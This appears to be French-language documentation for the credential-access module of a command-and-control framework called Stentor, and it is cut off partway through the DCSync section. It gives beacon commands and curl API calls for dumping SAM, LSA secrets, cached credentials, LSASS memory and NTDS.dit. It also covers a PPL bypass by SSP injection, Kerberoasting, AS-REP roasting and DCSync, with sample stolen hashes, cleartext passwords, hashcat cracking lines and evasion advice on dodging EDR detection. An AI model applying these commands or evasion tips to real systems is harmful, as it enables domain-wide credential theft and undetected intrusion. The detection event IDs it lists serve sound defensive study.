Aller au contenu

Accès aux informations d'identification

Capacités de collecte d’informations d’identification pour extraire le matériel d’authentification des hôtes compromis. Stentor implémente une boîte à outils complète d'accès aux informations d'identification couvrant les magasins d'informations d'identification locaux, l'analyse de la mémoire LSASS, les attaques du protocole Kerberos, la réplication de domaine, les secrets protégés par DPAPI et l'extraction des informations d'identification du navigateur.

Hiérarchie des informations d'identification

La collecte d'informations d'identification suit une progression naturelle depuis les magasins locaux (exigence de privilège la plus faible) jusqu'aux attaques au niveau du domaine (exigence de privilège la plus élevée). Chaque couche débloque de nouveaux chemins d'attaque.

flowchart TD
    A[Local Credentials] --> B[LSASS Memory]
    A --> C[DPAPI Secrets]
    B --> D[Domain Credentials]
    D --> E[Kerberos Attacks]
    D --> F[Lateral Movement]

    A1[SAM Database<br/>hashdump / sam_dump] --> A
    A2[LSA Secrets<br/>lsa_secrets] --> A
    A3[Cached Creds<br/>cached_creds] --> A

    B1[logonpasswords<br/>NTLM + WDigest + Kerberos] --> B
    B2[lsass_memdump<br/>Minidump to disk] --> B

    C1[DPAPI Triage<br/>RDP / WiFi / Vault / Certs] --> C
    C2[chromedump<br/>Browser passwords] --> C

    D1[DCSync<br/>DRSUAPI replication] --> D
    D2[NTDS Dump<br/>AD database extraction] --> D

    E1[Kerberoast<br/>TGS ticket cracking] --> E
    E2[AS-REP Roast<br/>Pre-auth bypass] --> E
    E3[Golden / Silver Ticket<br/>Kerberos forgery] --> E

    style A fill:#6a1b9a,color:#fff
    style B fill:#4a148c,color:#fff
    style C fill:#311b92,color:#fff
    style D fill:#1a237e,color:#fff
    style E fill:#0d47a1,color:#fff
    style F fill:#01579b,color:#fff

Exigences de privilège :

Source Privilège minimum Remarques
SAM / LSA / En cache Administrateur local (SYSTÈME) L'accès à la ruche de registre nécessite SeBackupPrivilege
LSASS Administrateur local + SeDebugPrivilege RunAsPPL bloque l'accès direct
NTDS.dit Administrateur de domaine Cliché instantané de volume sur DC
Synchronisation DC Réplication des modifications de répertoire DA/EA ou droits de réplication délégués
Kerberoast Tout utilisateur de domaine N'a besoin que de TGT pour les demandes TGS
Rôti AS-REP Accès réseau à DC Aucune authentification requise
DPAPI Contexte utilisateur actuel Clé principale utilisateur ou clé de sauvegarde de domaine
Crédits du navigateur Contexte utilisateur actuel Clé d'état locale protégée par DPAPI

Référence des commandes d'informations d'identification

Commande Syntaxe Source Nécessite Format de sortie ATTAQUE À ONGLET&CK
hashdump hashdump Base de données SAM Administrateur local user:RID:LM:NT::: (hashcat 1000) T1003.002
sam_dump sam_dump Base de données SAM Administrateur local user:RID:LM:NT::: T1003.002
logonpasswords logonpasswords Mémoire LSASS SeDebugPrivilège Hachages NTLM, texte clair WDigest, tickets Kerberos T1003.001
lsass_memdump lsass_memdump Mémoire LSASS SeDebugPrivilège Fichier .dmp pour analyse hors ligne T1003.001
lsass_legacy lsass_legacy Mémoire LSASS SeDebugPrivilège Fichier .dmp (MiniDump direct) T1003.001
lsa_secrets lsa_secrets Secrets LSA Administrateur local Mots de passe de service, clés DPAPI T1003.004
cached_creds cached_creds Cache de domaine Administrateur local Hachages DCC2 (hashcat 2100) T1003.005
ntds_dump ntds_dump NTDS.dit Administrateur de domaine Hachages NTLM pour tous les comptes de domaine T1003.003
kerberoast kerberoast [/spn:...] [/user:...] [/domain:...] Kerberos TGS Tout utilisateur de domaine $krb5tgs$ (hashcat 13100/19700) T1558.003
asrep_roast asrep_roast [/user:...] [/domain:...] Kerberos AS-REP Accès au réseau $krb5asrep$ (hashcat 18200) T1558.004
dcsync dcsync [/user:...] [/domain:...] [/all] DRSUAPI Droits de réplication Clés NTLM + Kerberos T1003.006
golden_ticket golden_ticket <domain> <sid> <dc> <key> TGT forgé hachage krbtgt Billet .kirbi / .ccache T1558.001
silver_ticket silver_ticket <domain> <sid> <dc> <service> <target> <hash> TGS forgé Hachage du compte de service Billet .kirbi / .ccache T1558.002
overpass overpass <domain> <dc> <user> <hash> Kerberos AS-REQ Hachage NTLM TGT valide T1550.002
dpapi_masterkeys dpapi_masterkeys [--target SID] Répertoire de protection DPAPI Utilisateur actuel GUID de clé principale T1555.004
dpapi_backupkey dpapi_backupkey <dc> [--domain ...] RPC LSA Administrateur de domaine Clé de sauvegarde de domaine T1555.004
dpapi_rdp dpapi_rdp Gestionnaire d'informations d'identification Utilisateur actuel + clé principale Mots de passe RDP en texte clair T1555.004
dpapi_wifi dpapi_wifi Profils Wi-Fi Administrateur local PSK WiFi en texte clair T1555.004
dpapi_vault dpapi_vault Gestionnaire d'informations d'identification Utilisateur actuel + clé principale Entrées du coffre-fort T1555.004
dpapi_certkeys dpapi_certkeys [--target SID] Magasin de certificats Utilisateur actuel + clé principale Clés privées de certificat T1555.004
dpapi_triage dpapi_triage [--domain ...] [--dc ...] Toutes les sources DPAPI Utilisateur actuel + clé principale Sortie de tri combiné T1555.004
chromedump chromedump Données de connexion Chrome/Edge Utilisateur actuel URL, noms d'utilisateur, mots de passe en clair T1555.003

Dumping des informations d'identification locales

Les magasins d'informations d'identification locaux contiennent du matériel d'authentification mis en cache sur la machine locale. Ces techniques accèdent aux ruches de registre en mémoire à l'aide de l'API de registre Windows : aucun processus enfant tel que reg.exe n'est généré.

Toutes les commandes de vidage des informations d'identification locales s'exécutent dans un processus sacrificiel fork-and-run pour l'isolation OPSEC. Les artefacts d'accès au registre pointent vers le PID sacrificiel, et non vers le processus de beacon.

hachage

Extrayez les hachages de mot de passe NTLM de la base de données SAM (Security Account Manager) via l'analyse du registre en mémoire.

Comment ça marche : Lit les ruches de registre SYSTEM et SAM en mémoire à l'aide de l'API de registre Windows, dérive la clé de démarrage à partir des noms de classe HKLM\SYSTEM\CurrentControlSet\Control\Lsa, déchiffre les entrées SAM à l'aide d'AES-128-CBC (Windows 10+) ou DES/RC4 (hérité) et génère des hachages au format secretsdump.

Type de tâche : creds (méthode : sam_dump)

Point de terminaison dédié : POST /api/v1/c2/beacons/:id/hashdump

hashdump
curl -s -X POST "https://stentor.app/api/v1/c2/beacons/$BEACON_ID/hashdump" \
  -H "Authorization: Bearer $TOKEN"
curl -s -X POST "https://stentor.app/api/v1/cockpit/beacons/$BEACON_ID/shell" \
  -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/json" \
  -d '{"command": "hashdump"}'

Exemple de résultat :

[Fork-and-Run] Sacrificial PID: 5184

Extracted 4 NTLM hashes from SAM database:

Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
labuser:1001:aad3b435b51404eeaad3b435b51404ee:8846f7eaee8fb117ad06bdd830b7586c:::

Format: username:RID:LM_HASH:NT_HASH:::

Craquer avec hashcat

hashcat -m 1000 hashes.txt rockyou.txt

OPSEC

  • S'exécute dans un processus sacrificiel fork-and-run (les artefacts de registre pointent vers le PID sacrificiel)
  • Lit les ruches de registre SAM et SYSTEM via RegOpenKeyEx / RegQueryValueEx
  • Pas de reg.exe ou reg save -- analyse purement en mémoire (repli de reg.exe supprimé pour OPSEC)
  • Nécessite le contexte SeBackupPrivilege ou SYSTEM
  • MITRE ATT&CK : T1003.002 (vidage des informations d'identification du système d'exploitation : gestionnaire de comptes de sécurité)

sam_dump

Variante de vidage SAM Fork-and-run. Technique identique à hashdump mais utilise explicitement l'isolation fork-and-run. Le binaire de l'implant est réexécuté avec STENTOR_CRED_MODE=sam afin que les artefacts d'accès au registre proviennent du processus sacrificiel.

Type de tâche : creds (méthode : sam_dump)

sam_dump
curl -s -X POST "https://stentor.app/api/v1/cockpit/beacons/$BEACON_ID/shell" \
  -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/json" \
  -d '{"command": "sam_dump"}'

OPSEC

Même technique que hashdump. Les deux utilisent l’analyse du registre en mémoire avec une isolation fork-and-run. Le nom de commande sam_dump est disponible pour la compatibilité des scripts CNA.

lsa_secrets

Extrayez les secrets LSA des ruches de registre SECURITY et SYSTEM. Les secrets LSA contiennent les mots de passe des comptes de service, les clés principales de la machine DPAPI, les mots de passe de connexion automatique mis en cache (DefaultPassword) et d'autres données sensibles stockées par LsaStorePrivateData.

Comment ça marche : Lit les ruches HKLM\SECURITY et HKLM\SYSTEM via l'API de registre, dérive la clé de chiffrement LSA et déchiffre tous les secrets stockés. S'exécute selon un processus sacrificiel fork-and-run.

Type de tâche : creds (méthode : lsa_secrets)

lsa_secrets
curl -s -X POST "https://stentor.app/api/v1/cockpit/beacons/$BEACON_ID/shell" \
  -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/json" \
  -d '{"command": "lsa_secrets"}'

Exemple de résultat :

[Fork-and-Run] Sacrificial PID: 4892

=== LSA Secrets ===

$MACHINE.ACC
  0000  A3 4F 2C 7B 8E ... (machine account password hash)

DPAPI_SYSTEM
  User:    0x01000000b1c347...
  Machine: 0x01000000f24a58...

DefaultPassword
  labuser / P@ssw0rd123

_SC_SQLService
  CORP\svc_sql / SqlServiceP@ss!

OPSEC

  • Lit les ruches de registre SECURITY et SYSTEM en mémoire (pas de reg.exe)
  • Processus sacrificiel fork-and-run pour l'isolation des artefacts
  • Nécessite SYSTEM ou SeBackupPrivilege pour l'accès à la ruche SECURITY
  • MITRE ATT&CK : T1003.004 (vidage des informations d'identification du système d'exploitation : secrets LSA)

cached_creds

Extrayez les informations d’identification mises en cache du domaine (DCC2) de la ruche du registre SECURITY. Windows met en cache les 10 dernières informations de connexion au domaine (par défaut) dans les entrées de cache NL$. Il s'agit de hachages MS-CacheDCv2 (DCC2) qui peuvent être craqués hors ligne.

Comment ça marche : Lit les entrées de cache NL$ de HKLM\SECURITY\Cache via l'API de registre, dérive la clé NL$KM et génère les hachages DCC2 au format hashcat. S'exécute selon un processus sacrificiel fork-and-run.

Type de tâche : creds (méthode : cached_creds)

cached_creds
curl -s -X POST "https://stentor.app/api/v1/cockpit/beacons/$BEACON_ID/shell" \
  -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/json" \
  -d '{"command": "cached_creds"}'

Exemple de résultat :

[Fork-and-Run] Sacrificial PID: 3716

Cached Domain Credentials (DCC2):

$DCC2$10240#jsmith#a4f49c406510bdcab6824ee7c30fd852
$DCC2$10240#admin#b7c1e2d3f4a5b6c7d8e9f0a1b2c3d4e5

Format: $DCC2$iterations#username#hash (hashcat mode 2100)

Craquage des hachages DCC2

Les hachages DCC2 sont coûteux en calcul à déchiffrer (10 240 itérations PBKDF2 par défaut).

hashcat -m 2100 cached.txt rockyou.txt

OPSEC

  • Lit les valeurs du cache de la ruche SECURITY via l'API de registre (pas de reg.exe)
  • Processus sacrificiel fork-and-run pour l'isolation des artefacts
  • Nécessite SYSTEM ou SeBackupPrivilege
  • MITRE ATT&CK : T1003.005 (vidage des informations d'identification du système d'exploitation : informations d'identification de domaine mises en cache)

Accès à la mémoire LSASS

LSASS (Local Security Authority Subsystem Service) conserve en mémoire le matériel d'authentification de tous les utilisateurs connectés. Cela inclut les hachages NTLM, les mots de passe en texte clair WDigest (si activés), les tickets Kerberos et les informations d'identification TSPKG.

mots de passe de connexion

Analysez la mémoire du processus LSASS sur place pour extraire les informations d'identification des structures SSP (Security Support Provider). Il s'agit de l'équivalent de mimikatz sekurlsa::logonpasswords de Stentor.

Comment ça marche : Ouvre un handle vers le processus LSASS à l'aide de NtOpenProcess, lit les régions de mémoire à l'aide de NtReadVirtualMemory et analyse les structures SSP :

  • MSV1_0 – hachages NTLM (NT et LM)
  • WDigest - Mots de passe en texte clair (si la valeur de registre UseLogonCredential est définie)
  • Kerberos -- Tickets Kerberos et clés de session
  • TSPKG -- Informations d'identification des services Terminal Server

S'exécute dans le cadre d'un processus sacrificiel fork-and-run. Les appels NtOpenProcess et NtReadVirtualMemory proviennent du PID sacrificiel.

Type de tâche : creds (méthode : logonpasswords)

Point de terminaison dédié : POST /api/v1/c2/beacons/:id/logonpasswords

logonpasswords
curl -s -X POST "https://stentor.app/api/v1/c2/beacons/$BEACON_ID/logonpasswords" \
  -H "Authorization: Bearer $TOKEN"
curl -s -X POST "https://stentor.app/api/v1/cockpit/beacons/$BEACON_ID/shell" \
  -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/json" \
  -d '{"command": "logonpasswords"}'

Exemple de résultat :

[Fork-and-Run] Sacrificial PID: 6248

Authentication Id : 0 ; 996 (00000000:000003e4)
Session           : Service from 0
User Name         : CORP\jsmith
Domain            : CORP
Logon Server      : DC01
Logon Time        : 2/19/2026 8:30:15 AM

    msv :
     [00000003] Primary
     * Username : jsmith
     * Domain   : CORP
     * NTLM     : 8846f7eaee8fb117ad06bdd830b7586c
     * SHA1     : a]9040f9c13d508...

    wdigest :
     * Username : jsmith
     * Domain   : CORP
     * Password : P@ssw0rd123

    kerberos :
     * Username : jsmith
     * Domain   : CORP.LOCAL
     * Password : (null)

OPSEC – Risque de détection élevé

  • Ouvre un handle vers LSASS (PROCESS_VM_READ | PROCESS_QUERY_INFORMATION) - déclenche l'ID d'événement Sysmon 10
  • NtReadVirtualMemory appelle l'espace d'adressage LSASS
  • L'isolation Fork-and-run signifie que le PID sacrificiel est celui qui accède au LSASS, pas le beacon
  • RunAsPPL (Credential Guard) : si RunAsPPL=1, LSASS est une lumière de processus protégée et l'accès direct à la mémoire échoue avec STATUS_ACCESS_DENIED. Options : désactivez RunAsPPL via le registre + redémarrage, utilisez un pilote de contournement PPL ou utilisez plutôt dcsync
  • MITRE ATT&CK : T1003.001 (vidage des informations d'identification du système d'exploitation : mémoire LSASS)

lsass_memdump

Créez un minidump du processus LSASS pour l'extraction des informations d'identification hors ligne. Produit un fichier .dmp qui peut être analysé avec pypykatz, mimikatz ou d'autres outils hors ligne.

Comment ça marche : Ouvre un handle vers LSASS, crée un minidump en utilisant une approche sauvegardée en mémoire via MiniDumpWriteDump et écrit le fichier de dump sur le disque. S'exécute dans le cadre d'un processus sacrificiel fork-and-run.

Type de tâche : creds (méthode : lsass_memdump ou lsass_minidump)

lsass_memdump
curl -s -X POST "https://stentor.app/api/v1/cockpit/beacons/$BEACON_ID/shell" \
  -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/json" \
  -d '{"command": "lsass_memdump"}'

Exemple de résultat :

[Fork-and-Run] Sacrificial PID: 7412

LSASS minidump created: C:\Users\Public\lsass_20260219_083015.dmp (48.2 MB)

Analyse hors ligne

# pypykatz (Python)
pypykatz lsa minidump lsass_20260219_083015.dmp

# mimikatz (Windows)
mimikatz# sekurlsa::minidump lsass_20260219_083015.dmp
mimikatz# sekurlsa::logonpasswords

OPSEC

  • Crée un fichier sur le disque (le fichier .dmp) - empreinte médico-légale élevée
  • Le processus LSASS gère l'accès déclenche l'ID d'événement Sysmon 10
  • L'appel API MiniDumpWriteDump est surveillé par EDR
  • Préférez logonpasswords (analyse en mémoire, pas d'écriture sur disque) lorsque cela est possible
  • MITRE ATT&CK : T1003.001 (vidage des informations d'identification du système d'exploitation : mémoire LSASS)

lsass_legacy

Dirigez MiniDumpWriteDump vers le disque sans l’approche sauvegardée en mémoire. Il s'agit d'une méthode de secours pour les environnements dans lesquels la technique de vidage de la mémoire principale échoue.

**Type de tâche :** `creds` (méthode : `lsass_legacy`)

=== "Coquille"

    ```
    lsass_legacy
    ```

=== "API (commande shell)"

    ```bash
    curl -s -X POST "https://stentor.app/api/v1/cockpit/beacons/$BEACON_ID/shell" \
      -H "Authorization: Bearer $TOKEN" \
      -H "Content-Type: application/json" \
      -d '{"command": "lsass_legacy"}'
    ```

!!! info "Quand utiliser"
    Utilisez `lsass_legacy` uniquement lorsque `logonpasswords` et `lsass_memdump` échouent tous deux. Cette méthode appelle `MiniDumpWriteDump` directement sans l'approche basée sur la mémoire, qui est plus susceptible d'être détectée mais peut fonctionner dans les cas extrêmes.

Comparaison des méthodes LSASS

Méthode Accès aux processus Écriture sur disque Analyse Risque de détection
logonpasswords NtReadVirtualMemory Aucun En mémoire (structures SSP) Moyen
lsass_memdump MiniDumpWriteDump (sauvegardé en mémoire) Fichier .dmp Hors ligne (pypykatz/mimikatz) Élevé
lsass_legacy MiniDumpWriteDump (direct) Fichier .dmp Hors ligne (pypykatz/mimikatz) Le plus haut
ppl_bypass AddSecurityPackageW (injection SSP) DLL temporaire SSP Capture de rappel SSP Élevé

Méthode supprimée

La méthode lsass_comsvcs (rundll32.exe comsvcs.dll MiniDump) a été supprimée pour OPSEC. La ligne de commande rundll32.exe comsvcs.dll est détectée de manière triviale par tous les produits EDR modernes. Utilisez plutôt logonpasswords ou lsass_memdump.

Contournement PPL (RunAsPPL)

Lorsque LSASS s'exécute en tant que Protected Process Light (PPL), les techniques de vidage d'informations d'identification standard échouent car OpenProcess est refusé même avec SeDebugPrivilege. La commande ppl_bypass contourne cette protection à l’aide de l’injection SSP.

Comment ça marche :

  1. Écrit une DLL personnalisée du fournisseur de support de sécurité (SSP) dans un emplacement temporaire
  2. Appelle AddSecurityPackageW pour charger le SSP dans lsass.exe (le système d'exploitation charge la DLL dans le processus protégé)
  3. Le rappel SpLsaModeInitialize du SSP s'exécute dans LSASS et capture les informations d'identification
  4. Les résultats sont écrits dans une section de mémoire partagée ou dans un fichier temporaire et lus par le beacon
  5. La DLL SSP temporaire est nettoyée

Syntaxe du shell :

ppl_bypass

Exemple d'API :

curl -s -X POST "https://stentor.app/api/v1/c2/beacons/$BEACON_ID/task" \
  -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/json" \
  -d '{"type":"ppl_bypass","data":{}}'

OPSEC

  • AddSecurityPackageW déclenche l'ID d'événement 4614 (package de notification chargé) dans le journal des événements de sécurité
  • La DLL SSP temporaire écrite sur le disque est brièvement visible pour la surveillance du système de fichiers
  • Nécessite un contexte SeDebugPrivilege ou SYSTEM
  • Risque élevé – Le chargement SSP est une technique bien connue et surveillée par des produits EDR avancés.
  • Le nettoyage est automatique mais l'entrée Event 4614 persiste
  • MITRE ATT&CK : T1547.005 (fournisseur de support de sécurité), T1003.001 (mémoire LSASS)

Quand utiliser ppl_bypass

Utilisez ppl_bypass lorsque logonpasswords échoue avec des erreurs « accès refusé » et que vous avez confirmé que LSASS s'exécute en tant que PPL (Get-Process lsass | Select-Object -ExpandProperty Path indique que MsMpEng ou ProtectionLevel est défini). Si LSASS n'est pas protégé par PPL, préférez logonpasswords (risque de détection plus faible).


Dump NTDS.dit

ntds_dump

Extrayez les hachages NTLM pour tous les comptes d'utilisateurs de domaine de la base de données Active Directory (NTDS.dit). Cette technique crée un cliché instantané de volume du lecteur système du contrôleur de domaine, puis extrait le fichier NTDS.dit et la ruche SYSTEM pour une analyse hors ligne.

Comment ça marche : Exécute vssadmin create shadow /for=C: pour créer un cliché instantané de volume, puis copie NTDS.dit et la ruche SYSTEM à partir du cliché instantané. Si vssadmin échoue, revient au mode ntdsutil IFM (Install From Media). Nécessite les privilèges d'administrateur de domaine sur le contrôleur de domaine.

Type de tâche : creds (méthode : ntds_dump)

ntds_dump
curl -s -X POST "https://stentor.app/api/v1/cockpit/beacons/$BEACON_ID/shell" \
  -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/json" \
  -d '{"command": "ntds_dump"}'

Exemple de résultat :

[*] Creating volume shadow copy...
[+] Shadow copy created: \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy3
[*] Extracting NTDS.dit from shadow copy...
[+] NTDS.dit extracted: C:\Windows\Temp\ntds.dit (256 MB)
[+] SYSTEM hive extracted: C:\Windows\Temp\SYSTEM (12 MB)

Extracted 1,247 NTLM hashes from NTDS.dit

Administrator:500:aad3b435b51404eeaad3b435b51404ee:a4f49c406510bdcab6824ee7c30fd852:::
krbtgt:502:aad3b435b51404eeaad3b435b51404ee:b7c1e2d3f4a5b6c7d8e9f0a1b2c3d4e5:::
jsmith:1103:aad3b435b51404eeaad3b435b51404ee:8846f7eaee8fb117ad06bdd830b7586c:::
...

OPSEC – Risque de détection très élevé

  • Crée un cliché instantané de volume (ID d'événement 8222 de VSS, ID d'événement 7036 de SCM pour le démarrage du service vss)
  • L'exécution de vssadmin.exe ou ntdsutil.exe est fortement surveillée
  • Copie de fichiers volumineux à partir d'un cliché instantané (NTDS.dit peut faire des centaines de Mo)
  • Artefacts de disque : les fichiers extraits restent sur le contrôleur de domaine jusqu'à ce qu'ils soient nettoyés
  • Préférez dcsync pour une extraction de hachage ciblée : il est plus furtif et ne nécessite pas d'accès au système de fichiers DC.
  • MITRE ATT&CK : T1003.003 (vidage des informations d'identification du système d'exploitation : NTDS)

Attaques Kerberos

Les techniques d'accès aux informations d'identification basées sur Kerberos exploitent le protocole d'authentification Kerberos pour extraire des hachages craquables ou falsifier des tickets d'authentification.

kerberoast

Demandez des tickets TGS (Ticket Granting Service) pour les comptes de service avec des SPN (Service Principal Names) et extrayez les données cryptées des tickets pour le craquage hors ligne. La partie cryptée du ticket TGS est cryptée avec le hachage du mot de passe du compte de service, ce qui la rend craquable.

Comment ça marche : Énumère les comptes de service avec les SPN via LDAP (en utilisant wldap32.dll avec la liaison SSPI NEGOTIATE ou les informations d'identification explicites via gokrb5), puis demande des tickets TGS pour chaque SPN. Les données cryptées du ticket sont extraites et formatées pour hashcat ou John the Ripper. Prend en charge la gigue inter-demandes configurable pour éviter la détection de rafales.

Deux modes d'identification :

  • Mode SSPI (par défaut, aucune information d'identification spécifiée) : utilise le jeton de session Windows actuel via SSPI InitializeSecurityContext pour l'énumération LDAP et les requêtes TGS. Aucune information d’identification explicite n’est nécessaire.
  • Mode explicite (nom d'utilisateur + mot de passe spécifiés) : utilise la bibliothèque gokrb5 pour l'authentification Kerberos et les demandes de tickets TGS.

Type de tâche : creds (méthode : kerberoast)

Paramètre Type Obligatoire Par défaut Description
domain chaîne Détection automatique %USERDNSDOMAIN% Domaine AD (par exemple, CORP.LOCAL)
dc chaîne Détection automatique Recherche DNS SRV IP/nom d'hôte du contrôleur de domaine
spns chaîne[] Non Énumération LDAP SPN spécifiques à cibler
username chaîne Non Jeton actuel (SSPI) Informations d'identification explicites pour le mode gokrb5
password chaîne Non Jeton actuel (SSPI) Informations d'identification explicites pour le mode gokrb5
output_fmt chaîne Non hashcat Format de sortie : hashcat ou john
jitter_ms int Non 1000 Gigue inter-requêtes en ms (-1 = désactivé)
kerberoast
kerberoast /domain:CORP.LOCAL /dc:dc01.corp.local
kerberoast /spn:MSSQLSvc/sql01.corp.local:1433
kerberoast /user:svc_sql /domain:CORP.LOCAL
# SSPI mode (uses current token)
curl -s -X POST "https://stentor.app/api/v1/cockpit/beacons/$BEACON_ID/shell" \
  -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/json" \
  -d '{"command": "kerberoast"}'

# Explicit credentials
curl -s -X POST "https://stentor.app/api/v1/cockpit/beacons/$BEACON_ID/shell" \
  -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/json" \
  -d '{"command": "kerberoast /domain:CORP.LOCAL /dc:dc01.corp.local /user:jsmith /password:P@ssw0rd"}'

Exemple de résultat :

[*] Jitter: 1000ms (range 500-1500ms) between TGS requests

{
  "hashes": [
    {
      "spn": "MSSQLSvc/sql01.corp.local:1433",
      "username": "svc_sql",
      "domain": "CORP.LOCAL",
      "hash": "$krb5tgs$23$*svc_sql$CORP.LOCAL$MSSQLSvc/sql01.corp.local:1433*$a3b4c5...$d6e7f8...",
      "enc_type": 23,
      "enc_type_name": "RC4-HMAC"
    }
  ],
  "count": 1,
  "format": "hashcat"
}

Casser les hachages Kerberoast

# RC4 (etype 23) -- hashcat mode 13100
hashcat -m 13100 kerberoast.txt rockyou.txt

# AES256 (etype 18) -- hashcat mode 19700
hashcat -m 19700 kerberoast.txt rockyou.txt

OPSEC

  • Chaque demande TGS génère l'ID d'événement 4769 (Kerberos Service Ticket Operation) sur le contrôleur de domaine.
  • Plusieurs requêtes TGS successives à partir d'un seul compte sont un indicateur Kerberoast connu
  • Utilisez la gigue (paramètre jitter_ms) pour espacer les requêtes – 1 000 ms par défaut avec une randomisation de ± 50 %
  • Les demandes de tickets RC4 (type 23) provenant de comptes qui utilisent normalement AES peuvent déclencher des alertes
  • L'énumération LDAP pour les SPN génère l'ID d'événement 1644 si l'audit des requêtes LDAP est activé
  • MITRE ATT&CK : T1558.003 (Voler ou forger des billets Kerberos : Kerberoasting)

asrep_roast

Envoyez des messages AS-REQ (Authentication Service Request) sans données de pré-authentification au KDC pour les comptes pour lesquels « Ne pas nécessiter de pré-authentification Kerberos » est activé. Le KDC répond avec un AS-REP contenant des données cryptées qui peuvent être déchiffrées hors ligne.

Comment ça marche : Construit des messages AS-REQ bruts (RFC 4120) sans les données de pré-authentification PA-ENC-TIMESTAMP, les envoie au KDC sur le port 88 via TCP brut et analyse la réponse AS-REP pour extraire la partie chiffrée. Les comptes sans exigence de pré-autorisation renvoient un AS-REP valide ; les comptes avec pré-autorisation requise renvoient une erreur KDC_ERR_PREAUTH_REQUIRED.

Type de tâche : creds (méthode : asrep_roast)

Paramètre Type Obligatoire Par défaut Description
domain chaîne Oui -- Domaine AD (par exemple, CORP.LOCAL)
dc chaîne Oui -- IP/nom d'hôte du contrôleur de domaine
usernames chaîne[] Oui -- Cibler les noms d'utilisateur à tester
output_fmt chaîne Non hashcat Format de sortie : hashcat ou john
asrep_roast /domain:CORP.LOCAL /dc:dc01.corp.local /user:svc_backup,svc_scan
curl -s -X POST "https://stentor.app/api/v1/cockpit/beacons/$BEACON_ID/shell" \
  -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/json" \
  -d '{"command": "asrep_roast /domain:CORP.LOCAL /dc:dc01.corp.local /user:svc_backup"}'

Exemple de résultat :

{
  "hashes": [
    {
      "username": "svc_backup",
      "domain": "CORP.LOCAL",
      "hash": "[email protected]:a1b2c3...$d4e5f6...",
      "enc_type": 23,
      "enc_type_name": "RC4-HMAC",
      "vulnerable": true
    }
  ],
  "vulnerable_count": 1,
  "tested_count": 2,
  "format": "hashcat"
}

Casser les hachages AS-REP

hashcat -m 18200 asrep.txt rockyou.txt

OPSEC

  • AS-REQ sans pré-authentification est un comportement de protocole légitime - difficile à distinguer du trafic Kerberos normal
  • Chaque AS-REQ génère l'ID d'événement 4768 (demande de ticket d'authentification Kerberos)
  • Les demandes ayant échoué (pré-authentification requise) génèrent l'ID d'événement 4771 (échec de la pré-authentification Kerberos)
  • Aucune authentification requise - uniquement l'accès réseau au DC sur le port 88
  • MITRE ATT&CK : T1558.004 (Voler ou forger des tickets Kerberos : torréfaction AS-REP)

Synchronisation DC

synchronisation continue

Répliquez les données d'identification de domaine à partir d'un contrôleur de domaine à l'aide du protocole MS-DRSR (Directory Replication Service Remote). DCSync simule un contrôleur de domaine demandant une réplication, ce qui oblige le contrôleur de domaine cible à envoyer des données de mot de passe pour les comptes spécifiés.

Comment ça marche : Se connecte au contrôleur de domaine via le mappeur de point de terminaison RPC (port 135), se lie à l'interface DRSUAPI à l'aide de DsBind / DsBindWithCred, résout les DN de l'utilisateur cible avec DsCrackNames, puis appelle IDL_DRSGetNCChanges pour répliquer les attributs de mot de passe (unicodePwd, supplementalCredentials, ntPwdHistory). La sortie inclut le hachage NTLM, les clés Kerberos (AES256, AES128, DES) et les informations d'identification supplémentaires.

Type de tâche : creds (méthode : dcsync)

Point de terminaison dédié : POST /api/v1/c2/beacons/:id/dcsync

Paramètre Type Obligatoire Par défaut Description
domain chaîne Oui -- Domaine AD (par exemple, CORP.LOCAL)
dc chaîne Oui -- IP/nom d'hôte du contrôleur de domaine
username chaîne Oui -- Utilisateur avec droits de réplication
password chaîne Oui -- Mot de passe pour l'authentification
target_users chaîne[] Non ["Administrator", "krbtgt"] Utilisateurs spécifiques à répliquer
all bool Non false Vider tous les comptes d'utilisateurs du domaine
dcsync /domain:CORP.LOCAL /dc:dc01.corp.local /user:Administrator
dcsync /domain:CORP.LOCAL /dc:dc01.corp.local /all
curl -s -X POST "https://stentor.app/api/v1/c2/beacons/$BEACON_ID/dcsync" \
  -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/json" \
  -d '{
    "domain": "CORP.LOCAL",
    "dc": "dc01.corp.local",
    "username": "CORP\\admin",
    "password": "AdminP@ss",
    "target_users": ["krbtgt", "Administrator"]
  }'
curl -s -X POST "https://stentor.app/api/v1/cockpit/beacons/$BEACON_ID/shell" \
  -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/json" \
  -d '{"command": "dcsync /domain:CORP.LOCAL /dc:dc01.corp.local /user:krbtgt"}'

Exemple de résultat :

[DC] 'CORP.LOCAL' will be the domain
[DC] 'dc01.corp.local' will be the DC server

Object RDN           : CN=krbtgt
** SAM ACCOUNT NAME : krbtgt

Credentials:
  Hash NTLM: b7c1e2d3f4a5b6c7d8e9f0a1b2c3d4e5
    lm  - 0: aad3b435b51404eeaad3b435b51404ee
    ntlm- 0: b7c1e2d3f4a5b6c7d8e9f0a1b2c3d4e5

Object RDN           : CN=Administrator
** SAM ACCOUNT NAME : Administrator

Credentials:
  Hash NTLM: a4f49c406510bdcab6824ee7c30fd852
    lm  - 0: aad3b435b51404eeaad3b435b51404ee
    ntlm- 0: a4f49c406510bdcab6824ee7c30fd852

OPSEC – Haute visibilité

  • Génère du trafic de réplication DRS vers le contrôleur de domaine sur l'interface DRSUAPI RPC
  • ID d'événement 4662 avec GUID {1131f6aa-9c07-11d1-f79f-00c04fc2dcd2} (DS-Replication-Get-Changes) et {1131f6ad-9c07-11d1-f79f-00c04fc2dcd2} (DS-Replication-Get-Changes-All)
